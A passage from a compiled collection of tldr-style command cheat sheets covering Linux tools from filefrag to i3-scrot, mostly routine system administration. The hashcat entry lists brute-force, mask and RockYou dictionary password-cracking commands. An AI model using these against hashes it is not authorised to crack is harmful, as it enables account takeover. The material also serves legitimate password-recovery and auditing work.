filefrag -s {{path/to/files}}

• Display mapping of extended attributes:

filefrag -x {{path/to/files}}

• Display a report with verbose information:

filefrag -v {{path/to/files}}
finch
Console-based modular messaging client.

More information: https://developer.pidgin.im/wiki/Using%20Finch.

• Launch finch:

finch

• Quit:

alt + q or ctrl + c

• Show actions menu:

alt + a

• Jump to n-th window:

alt + {{number_key}}

• Close current window:

alt + c

• Start moving a window, use arrow keys to move, press escape when done:

alt + m

• Start resizing a window, use arrow keys to resize, press escape when done:

alt + r
findfs
Finds a filesystem by label or UUID.

More information: https://mirrors.edge.kernel.org/pub/linux/utils/util-linux.

• Search block devices by filesystem label:

findfs LABEL={{label}}

• Search by filesystem UUID:

findfs UUID={{uuid}}

• Search by partition label (GPT or MAC partition table):

findfs PARTLABEL={{partition_label}}

• Search by partition UUID (GPT partition table only):

findfs PARTUUID={{partition_uuid}}
findmnt
Find your filesystem.

More information: https://manned.org/findmnt.

• List all mounted filesystems:

findmnt

• Search for a device:

findmnt {{/dev/sdb1}}

• Search for a mountpoint:

findmnt {{/}}

• Find filesystems in specific type:

findmnt -t {{ext4}}

• Find filesystems with specific label:

findmnt LABEL={{BigStorage}}
firejail
Securely sandboxes processes to containers using built-in Linux capabilities.

More information: https://manned.org/firejail.

• Integrate firejail with your desktop environment:

sudo firecfg

• Open a restricted Mozilla Firefox:

firejail {{firefox}}

• Start a restricted Apache server on a known interface and address:

firejail --net={{eth0}} --ip={{192.168.1.244}} {{/etc/init.d/


apache2}} {{start}}

• List running sandboxes:

firejail --list

• List network activity from running sandboxes:

firejail --netstats

• Shutdown a running sandbox:

firejail --shutdown={{7777}}
firewall-cmd
The firewalld command-line client.

More information: https://firewalld.org/documentation/man-pages/firewall-cmd.

• View the available firewall zones:

firewall-cmd --get-active-zones

• View the rules which are currently applied:

firewall-cmd --list-all

• Permanently move the interface into the block zone, effectively blocking all
communication:

firewall-cmd --permanent --zone={{block}} --change-


interface={{enp1s0}}

• Permanently open the port for a service in the specified zone (like port 443 when
in the public zone):

firewall-cmd --permanent --zone={{public}} --add-


service={{https}}

• Permanently close the port for a service in the specified zone (like port 80 when in
the public zone):

firewall-cmd --permanent --zone={{public}} --remove-


service={{http}}

• Permanently open two arbitrary ports in the specified zone:

firewall-cmd --permanent --zone={{public}} --add-


port={{25565/tcp}} --add-port={{19132/udp}}

• Reload firewalld to force rule changes to take effect:

firewall-cmd --reload
flameshot
Screenshot utility with a GUI.

Supports basic image editing, such as text, shapes, colors, and imgur.

More information: https://flameshot.org.

• Launch flameshot with a simpler interactive mode:

flameshot launcher

• Launch flameshot and immediately start interactively annotating parts of the


screen to screenshot:

flameshot gui

• Take a full screenshot (all monitors):

flameshot full

• Take a screenshot from monitor 1:

flameshot screen --number {{1}}

• Set the save path to write screenshots to:

flameshot full --path {{path/to/directory}}

• Delay the screenshot for N milliseconds and output to clipboard:

flameshot full --delay {{2000}} --clipboard

• Take a screenshot and export it to standard-output:

flameshot gui --raw


flash
Flash cards in the terminal.

More information: https://github.com/tallguyjenks/fla.sh.

• Open a menu of available flashcard decks for selection:

flash

• Display the program version:

flash -v

• Display information about the flashcard system:

flash -i

• Display a list of available commands:

flash -h

• Change the previewer from default bat to cat:

flash -p {{cat}}
flashrom
Read, write, verify and erase flash chips.

More information: https://manned.org/flashrom.

• Probe the chip, ensuring the wiring is correct:

flashrom --programmer {{programmer}}

• Read flash and save it to a file:

flashrom -p {{programmer}} --read {{path/to/file}}

• Write a file to the flash:

flashrom -p {{programmer}} --write {{path/to/file}}

• Verify the flash against a file:

flashrom -p {{programmer}} --verify {{path/to/file}}

• Probe the chip using Raspberry Pi:

flashrom -p {{linux_spi:dev=/dev/spidev0.0}}
flatpak-builder
Help build application dependencies.

More information: https://docs.flatpak.org/en/latest/flatpak-builder-command-


reference.html.

• Build a Flatpak and export it to a new repository:

flatpak-builder {{path/to/build_directory}} {{path/to/


manifest}}

• Build a Flatpak and export it to the specified repository:

flatpak-builder --repo={{repository_name}} {{path/to/


build_directory}} {{path/to/manifest}}

• Build a Flatpak and install it locally:

flatpak-builder --install {{path/to/build_directory}} {{path/


to/manifest}}

• Build and sign a Flatpak and export it to the specified repository:

flatpak-builder --gpg-sign={{key_id}} --
repo={{repository_name}} {{path/to/manifest}}

• Run a shell inside of an application sandbox without installing it:

flatpak-builder --run {{path/to/build_directory}} {{path/to/


manifest}} {{sh}}
flatpak
Build, install and run flatpak applications and runtimes.

More information: https://docs.flatpak.org/en/latest/flatpak-command-


reference.html#flatpak.

• Run an installed application:

flatpak run {{name}}

• Install an application from a remote source:

flatpak install {{remote}} {{name}}

• List all installed applications and runtimes:

flatpak list

• Update all installed applications and runtimes:

flatpak update

• Add a remote source:

flatpak remote-add --if-not-exists {{remote_name}}


{{remote_url}}

• List all configured remote sources:

flatpak remote-list

• Remove an installed application:

flatpak remove {{name}}

• Show information about an installed application:

flatpak info {{name}}


flock
Manage locks from shell scripts.

It can be used to ensure that only one process of a command is running.

More information: https://manned.org/flock.

• Run a command with a file lock as soon as the lock is not required by others:

flock {{path/to/lock.lock}} --command "{{command}}"

• Run a command with a file lock, and exit if the lock doesn't exist:

flock {{path/to/lock.lock}} --nonblock --command


"{{command}}"

• Run a command with a file lock, and exit with a specific error code if the lock
doesn't exist:

flock {{path/to/lock.lock}} --nonblock --conflict-exit-code


{{error_code}} -c "{{command}}"
foreman
Manage Procfile-based applications.

More information: https://manned.org/foreman.

• Start an application with the Procfile in the current directory:

foreman start

• Start an application with a specified Procfile:

foreman start -f {{Procfile}}

• Start a specific application:

foreman start {{process}}

• Validate Procfile format:

foreman check

• Run one-off commands with the process's environment:

foreman run {{command}}

• Start all processes except the one named "worker":

foreman start -m all=1,{{worker}}=0


fossil add
Put files or directories under Fossil version control.

More information: https://fossil-scm.org/home/help/add.

• Put a file or directory under version control, so it will be in the current checkout:

fossil add {{path/to/file_or_directory}}

• Remove all added files from the current checkout:

fossil add --reset


fossil ci
This command is an alias of fossil commit.

More information: https://fossil-scm.org/home/help/commit.

• View documentation for the original command:

tldr fossil-commit
fossil commit
Commit files to a Fossil repository.

More information: https://fossil-scm.org/home/help/commit.

• Create a new version containing all the changes in the current checkout; user will
be prompted for a comment:

fossil commit

• Create a new version containing all the changes in the current checkout, using the
specified comment:

fossil commit --comment "{{comment}}"

• Create a new version containing all the changes in the current checkout with a
comment read from a specific file:

fossil commit --message-file {{path/to/commit_message_file}}

• Create a new version containing changes from the specified files; user will be
prompted for a comment:

fossil commit {{path/to/file1}} {{path/to/file2}}


fossil delete
This command is an alias of fossil rm.

More information: https://fossil-scm.org/home/help.

• View documentation for the original command:

tldr fossil rm
fossil forget
This command is an alias of fossil rm, with the exception that it never removes files
from the disk.

More information: https://fossil-scm.org/home/help.

• View documentation for the original command:

tldr fossil rm
fossil rm
Remove files or directories from Fossil version control.

See also fossil forget.

More information: https://fossil-scm.org/home/help.

• Remove a file or directory from Fossil version control:

fossil rm {{path/to/file_or_directory}}

• Remove a file or directory from Fossil version control, and also delete it from the
disk:

fossil rm --hard {{path/to/file_or_directory}}

• Re-add all previously removed and uncommitted files to Fossil version control:

fossil rm --reset
fossil
Distributed version control system.

Some subcommands such as fossil commit have their own usage documentation.

More information: https://fossil-scm.org/.

• Check the Fossil version:

fossil version

• Show general help (list available subcommands):

fossil help

• Show help on a Fossil subcommand (like add, commit, etc.):

fossil help {{subcommand}}

• Execute a Fossil subcommand:

fossil {{subcommand}}
fprintd
Fingerprint management daemon.

More information: https://fprint.freedesktop.org/.

• Display the man page for fprintd:

man fprintd
fprintd-delete
Remove fingerprints from the database.

More information: https://manned.org/fprintd-delete.

• Remove all fingerprints for a specific user:

fprintd-delete {{username}}

• Remove a specific fingerprints for a specific user:

fprintd-delete {{username}} --finger {{left-thumb|left-index-


finger|left-middle-finger|left-ring-finger|left-little-
finger|right-thumb|right-index-finger|right-middle-finger|
right-ring-finger|right-little-finger}}

• Display help:

fprintd-delete
fprintd-enroll
Enroll fingerprints into the database.

More information: https://manned.org/fprintd-enroll.

• Enroll the right index finger for the current user:

fprintd-enroll

• Enroll a specific finger for the current user:

fprintd-enroll --finger {{left-thumb|left-index-finger|left-


middle-finger|left-ring-finger|left-little-finger|right-
thumb|right-index-finger|right-middle-finger|right-ring-
finger|right-little-finger}}

• Enroll the right index finger for a specific user:

fprintd-enroll {{username}}

• Enroll a specific finger for a specific user:

fprintd-enroll --finger {{finger_name}} {{username}}

• Display help:

fprintd-enroll --help
fprintd-list
List enrolled fingerprints.

More information: https://manned.org/fprintd-list.

• List enrolled fingerprints for a specific user:

fprintd-list {{username}}

• List enrolled fingerprints for a space-separated list of users:

fprintd-list {{username1 username2 ...}}

• Display help:

fprintd-list
fprintd-verify
Verify fingerprints against the database.

More information: https://manned.org/fprintd-verify.

• Verify all stored fingerprints for the current user:

fprintd-verify

• Verify a specific fingerprint for the current user:

fprintd-verify --finger {{left-thumb|left-index-finger|left-


middle-finger|left-ring-finger|left-little-finger|right-
thumb|right-index-finger|right-middle-finger|right-ring-
finger|right-little-finger}}

• Verify fingerprints for a specific user:

fprint-verify {{username}}

• Verify a specific fingerprint for a specific user:

fprintd-verify --finger {{finger_name}} {{username}}

• Fail the process if a fingerprint doesn't match with ones stored in the database for
the current user:

fprint-verify --g-fatal-warnings

• Display help:

fprintd-verify --help
free
Display amount of free and used memory in the system.

More information: https://manned.org/free.

• Display system memory:

free

• Display memory in Bytes/KB/MB/GB:

free -{{b|k|m|g}}

• Display memory in human-readable units:

free -h

• Refresh the output every 2 seconds:

free -s {{2}}
fsck
Check the integrity of a filesystem or repair it. The filesystem should be unmounted at
the time the command is run.

More information: https://manned.org/fsck.

• Check filesystem /dev/sdXN, reporting any damaged blocks:

sudo fsck {{/dev/sdXN}}

• Check filesystem /dev/sdXN, reporting any damaged blocks and interactively


letting the user choose to repair each one:

sudo fsck -r {{/dev/sdXN}}

• Check filesystem /dev/sdXN, reporting any damaged blocks and automatically


repairing them:

sudo fsck -a {{/dev/sdXN}}


fscrypt
Go tool for managing Linux filesystem encryption.

More information: https://github.com/google/fscrypt.

• Prepare the root filesystem for use with fscrypt:

fscrypt setup

• Enable filesystem encryption for a directory:

fscrypt encrypt {{path/to/directory}}

• Unlock an encrypted directory:

fscrypt unlock {{path/to/encrypted_directory}}

• Lock an encrypted directory:

fscrypt lock {{path/to/encrypted_directory}}


fstrim
Discard unused blocks on a mounted filesystem.

Only supported by flash memory devices such as SSDs and microSD cards.

More information: https://manned.org/fstrim.

• Trim unused blocks on all mounted partitions that support it:

sudo fstrim --all

• Trim unused blocks on a specified partition:

sudo fstrim {{/}}

• Display statistics after trimming:

sudo fstrim --verbose {{/}}


fuser
Display process IDs currently using files or sockets.

More information: https://manned.org/fuser.

• Find which processes are accessing a file or directory:

fuser {{path/to/file_or_directory}}

• Show more fields (USER, PID, ACCESS and COMMAND):

fuser --verbose {{path/to/file_or_directory}}

• Identify processes using a TCP socket:

fuser --namespace tcp {{port}}

• Kill all processes accessing a file or directory (sends the SIGKILL signal):

fuser --kill {{path/to/file_or_directory}}

• Find which processes are accessing the filesystem containing a specific file or
directory:

fuser --mount {{path/to/file_or_directory}}


fwupdmgr
A tool for updating device firmware, including UEFI, using fwupd.

More information: https://fwupd.org/.

• Display all devices detected by fwupd:

fwupdmgr get-devices

• Download the latest firmware metadata from LVFS:

fwupdmgr refresh

• List the updates available for devices on your system:

fwupdmgr get-updates

• Install firmware updates:

fwupdmgr update
gbp
A system to integrate the Debian package build system with Git.

More information: http://honk.sigxcpu.org/projects/git-buildpackage/manual-html/


gbp.html.

• Convert an existing Debian package to gbp:

gbp import-dsc {{path/to/package.dsc}}

• Build the package in the current directory using the default builder (debuild):

gbp buildpackage -jauto -us -uc

• Build a package in a pbuilder environment for Debian Bullseye:

DIST={{bullseye}} ARCH={{amd64}} gbp buildpackage -jauto -us


-uc --git-builder={{git-pbuilder}}

• Specify a package to be a source-only upload in the .changes file (see https://


wiki.debian.org/SourceOnlyUpload):

gbp buildpackage -jauto -us -uc --changes-options={{-S}}

• Import a new upstream release:

gbp import-orig --pristine-tar {{path/to/package.tar.gz}}


gcov
Code coverage analysis and profiling tool that discovers untested parts of a program.

Also displays a copy of source code annotated with execution frequencies of code
segments.

More information: https://gcc.gnu.org/onlinedocs/gcc/Invoking-Gcov.html.

• Generate a coverage report named file.cpp.gcov:

gcov {{path/to/file.cpp}}

• Write individual execution counts for every basic block:

gcov --all-blocks {{path/to/file.cpp}}

• Write branch frequencies to the output file and print summary information to
stdout as a percentage:

gcov --branch-probabilities {{path/to/file.cpp}}

• Write branch frequencies as the number of branches taken, rather than the
percentage:

gcov --branch-counts {{path/to/file.cpp}}

• Do not create a gcov output file:

gcov --no-output {{path/to/file.cpp}}

• Write file level as well as function level summaries:

gcov --function-summaries {{path/to/file.cpp}}


gdebi
Simple tool to install .deb files.

More information: https://www.commandlinux.com/man-page/man1/gdebi.1.html.

• Install local .deb packages resolving and installing its dependencies:

gdebi {{path/to/package.deb}}

• Display the program version:

gdebi --version

• Do not show progress information:

gdebi {{path/to/package.deb}} --quiet

• Set an APT configuration option:

gdebi {{path/to/package.deb}} --option={{APT_OPTS}}

• Use alternative root dir:

gdebi {{path/to/package.deb}} --root={{path/to/root_dir}}


gedit
Text editor of the GNOME Desktop project.

More information: https://help.gnome.org/users/gedit/stable/.

• Open a text file:

gedit {{path/to/file}}

• Open multiple text files:

gedit {{file1 file2 ...}}

• Open a text file with a specific encoding:

gedit --encoding={{UTF-8}} {{path/to/file}}

• Display a list of supported encodings:

gedit --list-encodings
genfstab
Arch Linux install script to generate output suitable for addition to an fstab file.

More information: https://man.archlinux.org/man/extra/arch-install-scripts/genfstab.8.

• Display an fstab compatible output based on a volume label:

genfstab -L {{path/to/mount_point}}

• Display an fstab compatible output based on a volume UUID:

genfstab -U {{path/to/mount_point}}

• A usual way to generate an fstab file, requires root permissions:

genfstab -U {{/mnt}} >> {{/mnt/etc/fstab}}

• Append a volume into an fstab file to mount it automatically:

genfstab -U {{path/to/mount_point}} | sudo tee -a /etc/fstab


genid
Generate IDs, such as snowflakes, UUIDs, and a new GAID.

More information: https://github.com/bleonard252/genid.

• Generate a UUIDv4:

genid uuid

• Generate a UUIDv5 using a namespace UUID and a specific name:

genid uuidv5 {{{ce598faa-8dd0-49ee-8525-9e24fff71dca}}}


{{name}}

• Generate a Discord Snowflake, without a trailing newline (useful in shell scripts):

genid --script snowflake

• Generate a Generic Anonymous ID with a specific "real ID":

genid gaid {{real_id}}

• Generate a Snowflake with the epoch set to a specific date:

genid snowflake --epoch={{unix_epoch_time}}


genie
Set up and use a "bottle" namespace to run systemd under WSL (Windows Subsystem for
Linux).

To run these from Windows rather than an already-running distribution, precede them
with wsl.

More information: https://github.com/arkane-systems/genie.

• Initialize the bottle (run once, at start):

genie -i

• Run a login shell inside the bottle:

genie -s

• Run a specified command inside the bottle:

genie -c {{command}}
genkernel
Gentoo Linux utility to compile and install kernels.

More information: https://wiki.gentoo.org/wiki/Genkernel.

• Automatically compile and install a generic kernel:

sudo genkernel all

• Build and install the bzImage|initramfs|kernel|ramdisk only:

sudo genkernel {{bzImage|initramfs|kernel|ramdisk}}

• Apply changes to the kernel configuration before compiling and installing:

sudo genkernel --menuconfig all

• Generate a kernel with a custom name:

sudo genkernel --kernname={{custom_name}} all

• Use a kernel source outside the default directory /usr/src/linux:

sudo genkernel --kerneldir={{path/to/directory}} all


getent
Get entries from Name Service Switch libraries.

More information: https://manned.org/getent.

• Get list of all groups:

getent group

• See the members of a group:

getent group {{group_name}}

• Get list of all services:

getent services

• Find a username by UID:

getent passwd 1000

• Perform a reverse DNS lookup:

getent hosts {{host}}


getfacl
Get file access control lists.

More information: https://manned.org/getfacl.

• Display the file access control list:

getfacl {{path/to/file_or_directory}}

• Display the file access control list with numeric user and group IDs:

getfacl -n {{path/to/file_or_directory}}

• Display the file access control list with tabular output format:

getfacl -t {{path/to/file_or_directory}}
getopt
Parse command line arguments.

More information: https://www.gnu.org/software/libc/manual/html_node/Getopt.html.

• Parse optional verbose/version flags with shorthands:

getopt --options vV --longoptions verbose,version -- --


version --verbose

• Add a --file option with a required argument with shorthand -f:

getopt --options f: --longoptions file: -- --file=somefile

• Add a --verbose option with an optional argument with shorthand -v, and pass
a non-option parameter arg:

getopt --options v:: --longoptions verbose:: -- --verbose arg

• Accept a -r and --verbose flag, a --accept option with an optional argument


and add a --target with a required argument option with shorthands:

getopt --options rv::s::t: --longoptions


verbose,source::,target: -- -v --target target
gnome-extensions
Manage gnome extensions from the terminal.

More information: https://wiki.gnome.org/Projects/GnomeShell/Extensions.

• Display the version:

gnome-extensions version

• List all the installed extensions:

gnome-extensions list

• Display information about a specific extension:

gnome-extensions info "{{extension_id}}"

• Display help for a subcommand (like list):

gnome-extensions help {{subcommand}}

• Enable a specific extension:

gnome-extensions enable "{{extension_id}}"

• Disable a specific extension:

gnome-extension disable "{{extension_id}}"

• Uninstall a specific extension:

gnome-extension uninstall "{{extension_id}}"


gnome-terminal
The GNOME Terminal emulator.

More information: https://help.gnome.org/users/gnome-terminal/stable/.

• Open a new GNOME terminal window:

gnome-terminal

• Run a specific command in a new terminal window:

gnome-terminal -- {{command}}

• Open a new tab in the last opened window instead:

gnome-terminal --tab

• Set the title of the new tab:

gnome-terminal --tab --title "{{title}}"


goaccess
An open source real-time web log analyzer.

More information: https://goaccess.io.

• Analyze one or more log files in interactive mode:

goaccess {{path/to/logfile1 path/to/file2 ...}}

• Use a specific log-format (or pre-defined formats like "combined"):

goaccess {{path/to/logfile}} --log-format={{format}}

• Analyse a log from stdin:

tail -f {{path/to/logfile}} | goaccess -

• Analyze a log and write it to an HTML file in real-time:

goaccess {{path/to/logfile}} --output {{path/to/file.html}}


--real-time-html
google-chrome
The web browser from Google.

More information: https://chrome.google.com.

• Run with a custom profile directory:

google-chrome --user-data-dir={{path/to/directory}}

• Run without CORS validation, useful to test an API:

google-chrome --user-data-dir={{path/to/directory}} --
disable-web-security
gpasswd
Administer /etc/group and /etc/gshadow.

More information: https://manned.org/gpasswd.

• Define group administrators:

sudo gpasswd -A {{user1,user2}} {{group}}

• Set the list of group members:

sudo gpasswd -M {{user1,user2}} {{group}}

• Create a password for the named group:

gpasswd {{group}}

• Add a user to the named group:

gpasswd -a {{user}} {{group}}

• Remove a user from the named group:

gpasswd -d {{user}} {{group}}


groupadd
Add user groups to the system.

More information: https://manned.org/groupadd.

• Create a new Linux group:

groupadd {{group_name}}

• Create new group with a specific groupid:

groupadd {{group_name}} -g {{group_id}}


groupdel
Delete existing user groups from the system.

More information: https://manned.org/groupdel.

• Delete an existing group:

groupdel {{group_name}}
groupmod
Modify existing user groups in the system.

More information: https://manned.org/groupmod.

• Change the group name:

groupmod -n {{new_group_name}} {{old_group_name}}

• Change the group id:

groupmod -g {{new_group_id}} {{old_group_name}}


grub-install
Install GRUB to a device.

More information: https://www.gnu.org/software/grub/manual/grub/html_node/


Installing-GRUB-using-grub_002dinstall.html.

• Install GRUB on a BIOS system:

grub-install --target={{i386-pc}} {{path/to/device}}

• Install GRUB on an UEFI system:

grub-install --target={{x86_64-efi}} --efi-directory={{path/


to/efi_directory}} --bootloader-id={{GRUB}}

• Install GRUB pre-loading specific modules:

grub-install --target={{x86_64-efi}} --efi-directory={{path/


to/efi_directory}} --modules="{{part_gpt part_msdos}}"
grub-mkconfig
Generate a GRUB configuration file.

More information: https://www.gnu.org/software/grub/manual/grub/html_node/


Invoking-grub_002dmkconfig.html.

• Do a dry run and print the configuration to stdout:

sudo grub-mkconfig

• Generate the configuration file:

sudo grub-mkconfig --output={{/boot/grub/grub.cfg}}

• Print the help page:

grub-mkconfig --help
gs
GhostScript is a PDF and PostScript interpreter.

More information: https://manned.org/gs.

• To view a file:

gs -dQUIET -dBATCH {{file.pdf}}

• Reduce PDF file size to 150 dpi images for reading on a e-book device:

gs -dNOPAUSE -dQUIET -dBATCH -sDEVICE=pdfwrite -


dPDFSETTINGS=/ebook -sOutputFile={{output.pdf}} {{input.pdf}}

• Convert PDF file (pages 1 through 3) to an image with 150 dpi resolution:

gs -dQUIET -dBATCH -dNOPAUSE -sDEVICE=jpeg -r150 -


dFirstPage={{1}} -dLastPage={{3}} -
sOutputFile={{output_%d.jpg}} {{input.pdf}}

• Extract pages from a PDF file:

gs -dQUIET -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -


sOutputFile={{output.pdf}} {{input.pdf}}

• Merge PDF files:

gs -dQUIET -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -


sOutputFile={{output.pdf}} {{input1.pdf}} {{input2.pdf}}

• Convert from PostScript file to PDF file:

gs -dQUIET -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -


sOutputFile={{output.pdf}} {{input.ps}}
gsettings
Query and modify dconf settings with schema validation.

More information: https://access.redhat.com/documentation/en-us/


red_hat_enterprise_linux/8/html/using_the_desktop_environment_in_rhel_8/
configuring-gnome-at-low-level_using-the-desktop-environment-in-rhel-8#using-
gsettings-command_configuring-gnome-at-low-level.

• Set the value of a key. Fails if the key doesn't exist or the value is out of range:

gsettings set {{org.example.schema}} {{example-key}}


{{value}}

• Print the value of a key or the schema-provided default if the key has not been set
in dconf:

gsetings get {{org.example.schema}} {{example-key}}

• Unset a key, so that its schema default value will be used:

gsettings reset {{org.example.schema}} {{example-key}}

• Display all (non-relocatable) schemas, keys, and values:

gsettings list-recursively

• Display all keys and values (default if not set) from one schema:

gsettings list-recursively {{org.example.schema}}

• Display schema-allowed values for a key (helpful with enum keys):

gsettings range {{org.example.schema}} {{example-key}}

• Display the human-readable description of a key:

gsettings describe {{org.example.schema}} {{example-key}}


guake
A drop-down terminal for GNOME.

More information: http://guake-project.org/.

• Toggle Guake visibility:

F12

• Toggle fullscreen mode:

F11

• Open a new tab:

Ctrl+Shift+T

• Close the terminal:

Super+X

• Go to the previous tab:

Ctrl+PageUp

• Search the selected text in the browser:

Shift+Ctrl+L
guix package
Install, upgrade and remove Guix packages, or rollback to previous configurations.

More information: https://guix.gnu.org/manual/html_node/Invoking-guix-


package.html.

• Install a new package:

guix package -i {{package_name}}

• Remove a package:

guix package -r {{package_name}}

• Search the package database for a regular expression:

guix package -s "{{search_pattern}}"

• List installed packages:

guix package -I

• List generations:

guix package -l

• Roll back to the previous generation:

guix package --roll-back


halt
Halt the system.

More information: https://www.man7.org/linux/man-pages/man8/halt.8.html.

• Halt the system:

halt

• Power off the system (same as poweroff):

halt --poweroff

• Reboot the system (same as reboot):

halt --reboot

• Halt immediately without contacting the system manager:

halt --force --force

• Write the wtmp shutdown entry without halting the system:

halt --wtmp-only
hardinfo
Show hardware information in GUI window.

More information: https://github.com/lpereira/hardinfo.

• Start hardinfo:

hardinfo

• Print report to standard output:

hardinfo -r

• Save report to HTML file:

hardinfo -r -f html > hardinfo.html


hashcat
Fast and advanced password recovery tool.

More information: https://manned.org/hashcat.

• Perform a brute-force attack (mode 3) with the default hashcat mask:

hashcat --hash-type {{hash_type_id}} --attack-mode {{3}}


{{hash_value}}

• Perform a brute-force attack (mode 3) with a known pattern of 4 digits:

hashcat --hash-type {{hash_type_id}} --attack-mode {{3}}


{{hash_value}} "{{?d?d?d?d}}"

• Perform a brute-force attack (mode 3) using at most 8 of all printable ASCII


characters:

hashcat --hash-type {{hash_type_id}} --attack-mode {{3}} --


increment {{hash_value}} "{{?a?a?a?a?a?a?a?a}}"

• Perform a dictionary attack (mode 0) using the RockYou wordlist of a Kali Linux
box:

hashcat --hash-type {{hash_type_id}} --attack-mode {{0}}


{{hash_value}} {{/usr/share/wordlists/rockyou.txt}}

• Perform a rule-based dictionary attack (mode 0) using the RockYou wordlist


mutated with common password variations:

hashcat --hash-type {{hash_type_id}} --attack-mode {{0}} --


rules-file {{/usr/share/hashcat/rules/best64.rule}}
{{hash_value}} {{/usr/share/wordlists/rockyou.txt}}

• Perform a combination attack (mode 1) using the concatenation of words from two
different custom dictionaries:

hashcat --hash-type {{hash_type_id}} --attack-mode {{1}}


{{hash_value}} {{/path/to/dictionary1.txt}} {{/path/to/
dictionary2.txt}}

• Show result of an already cracked hash:

hashcat --show {{hash_value}}


hcitool
Monitor, configure connections, and send special commands to Bluetooth devices.

More information: https://manned.org/hcitool.

• Scan for Bluetooth devices:

hcitool scan

• Output the name of a device, returning its MAC address:

hcitool name {{bdaddr}}

• Fetch information about a remote Bluetooth device:

hcitool info {{bdaddr}}

• Check the link quality to a Bluetooth device:

hcitool lq {{bdaddr}}

• Modify the transmit power level:

hcitool tpl {{bdaddr}} {{0|1}}

• Display the link policy:

hcitool lp

• Request authentication with a specific device:

hcitool auth {{bdaddr}}

• Display local devices:

hcitool dev
hdparm
Get and set SATA and IDE hard drive parameters.

More information: https://manned.org/hdparm.

• Request the identification info of a given device:

sudo hdparm -I /dev/{{device}}

• Get the Advanced Power Management level:

sudo hdparm -B /dev/{{device}}

• Set the Advanced Power Management value (values 1-127 permit spin-down, and
values 128-254 do not):

sudo hdparm -B {{1}} /dev/{{device}}

• Display the device's current power mode status:

sudo hdparm -C /dev/{{device}}

• Force a drive to immediately enter standby mode (usually causes a drive to spin
down):

sudo hdparm -y /dev/{{device}}

• Put the drive into idle (low-power) mode, also setting its standby timeout:

sudo hdparm -S {{standby_timeout}} {{device}}


hlint
Tool for suggesting improvements to Haskell code.

More information: http://hackage.haskell.org/package/hlint.

• Display suggestions for a given file:

hlint {{path/to/file}} options

• Check all Haskell files and generate a report:

hlint {{path/to/directory}} --report

• Automatically apply most suggestions:

hlint {{path/to/file}} --refactor

• Display additional options:

hlint {{path/to/file}} --refactor-options

• Generate a settings file ignoring all outstanding hints:

hlint {{path/to/file}} --default > {{.hlint.yaml}}


homectl
Create, remove, change or inspect home directories using the systemd-homed service.

More information: https://man.archlinux.org/man/homectl.1.

• List user accounts and their associated home directories:

homectl list

• Create a user account and their associated home directory:

sudo homectl create {{username}}

• Remove a specific user and the associated home directory:

sudo homectl remove {{username}}

• Change the password for a specific user:

sudo homectl passwd {{username}}

• Run a shell or a command with access to a specific home directory:

sudo homectl with {{username}} -- {{command}}


{{command_arguments}}

• Lock or unlock a specific home directory:

sudo homectl {{lock|unlock}} {{username}}

• Change the disk space assigned to a specific home directory to 100 GiB:

sudo homectl resize {{username}} {{100G}}

• Display help:

homectl --help
homeshick
Synchronize Git dotfiles.

More information: https://github.com/andsens/homeshick/wiki.

• Create a new castle:

homeshick generate {{castle_name}}

• Add a file to your castle:

homeshick track {{castle_name}} {{path/to/file}}

• Go to a castle:

homeshick cd {{castle_name}}

• Clone a castle:

homeshick clone {{github_username}}/{{repository_name}}

• Symlink all files from a castle:

homeshick link {{castle_name}}


hostnamectl
Get or set the hostname of the computer.

More information: https://manned.org/hostnamectl.

• Get the hostname of the computer:

hostnamectl

• Set the hostname of the computer:

sudo hostnamectl set-hostname "{{hostname}}"

• Set a pretty hostname for the computer:

sudo hostnamectl set-hostname --static


"{{hostname.example.com}}" && sudo hostnamectl set-hostname
--pretty "{{hostname}}"

• Reset hostname to its default value:

sudo hostnamectl set-hostname --pretty ""


htpdate
Synchronize local date and time via HTTP headers from web servers.

More information: http://www.vervest.org/htp/.

• Synchronize date and time:

sudo htpdate {{host}}

• Perform simulation of synchronization, without any action:

htpdate -q {{host}}

• Compensate the systematisch clock drift:

sudo htpdate -x {{host}}

• Set time immediate after the synchronization:

sudo htpdate -s {{host}}


http-prompt
An interactive command-line HTTP client featuring autocomplete and syntax
highlighting.

More information: https://github.com/httpie/http-prompt.

• Launch a session targeting the default URL of http://localhost:8000 or the


previous session:

http-prompt

• Launch a session with a given URL:

http-prompt {{http://example.com}}

• Launch a session with some initial options:

http-prompt {{localhost:8000/api}} --auth


{{username:password}}
http_load
An HTTP benchmarking tool.

Runs multiple HTTP fetches in parallel to test the throughput of a web server.

More information: http://www.acme.com/software/http_load/.

• Emulate 20 requests based on a given URL list file per second for 60 seconds:

http_load -rate {{20}} -seconds {{60}} {{path/to/urls.txt}}

• Emulate 5 concurrent requests based on a given URL list file for 60 seconds:

http_load -parallel {{5}} -seconds {{60}} {{path/to/


urls.txt}}

• Emulate 1000 requests at 20 requests per second, based on a given URL list file:

http_load -rate {{20}} -fetches {{1000}} {{path/to/urls.txt}}

• Emulate 1000 requests at 5 concurrent requests at a time, based on a given URL


list file:

http_load -parallel {{5}} -fetches {{1000}} {{path/to/


urls.txt}}
httpie
A user friendly command-line HTTP tool.

More information: https://github.com/httpie/httpie.

• Send a GET request (default method with no request data):

http {{https://example.com}}

• Send a POST request (default method with request data):

http {{https://example.com}} {{hello=World}}

• Send a POST request with redirected input:

http {{https://example.com}} < {{file.json}}

• Send a PUT request with a given JSON body:

http PUT {{https://example.com/todos/7}} {{hello=world}}

• Send a DELETE request with a given request header:

http DELETE {{https://example.com/todos/7}} {{API-Key:foo}}

• Show the whole HTTP exchange (both request and response):

http -v {{https://example.com}}

• Download a file:

http --download {{https://example.com}}


hwclock
Used for reading or changing the hardware clock. Usually requires root.

More information: https://manned.org/hwclock.

• Display the current time as reported by the hardware clock:

hwclock

• Write the current software clock time to the hardware clock (sometimes used
during system setup):

hwclock --systohc

• Write the current hardware clock time to the software clock:

hwclock --hctosys
i3-scrot
Wrapper script around the screenshot utility scrot for the i3 window manager.

The default save location is ~/Pictures and can be changed in ~/.config/i3-


scrot.conf.

More information: https://gitlab.manjaro.org/packages/community/i3/i3-scrot.

• Capture a screenshot of the whole screen and save it to the default directory:

i3-scrot

• Capture a screenshot of the active window:

i3-scrot --window

• Capture a screenshot of a specific rectangular selection:

i3-scrot --select

• Capture a screenshot of the whole screen and copy it to the clipboard:

i3-scrot --desk-to-clipboard

• Capture a screenshot of the active window and copy it to the clipboard:

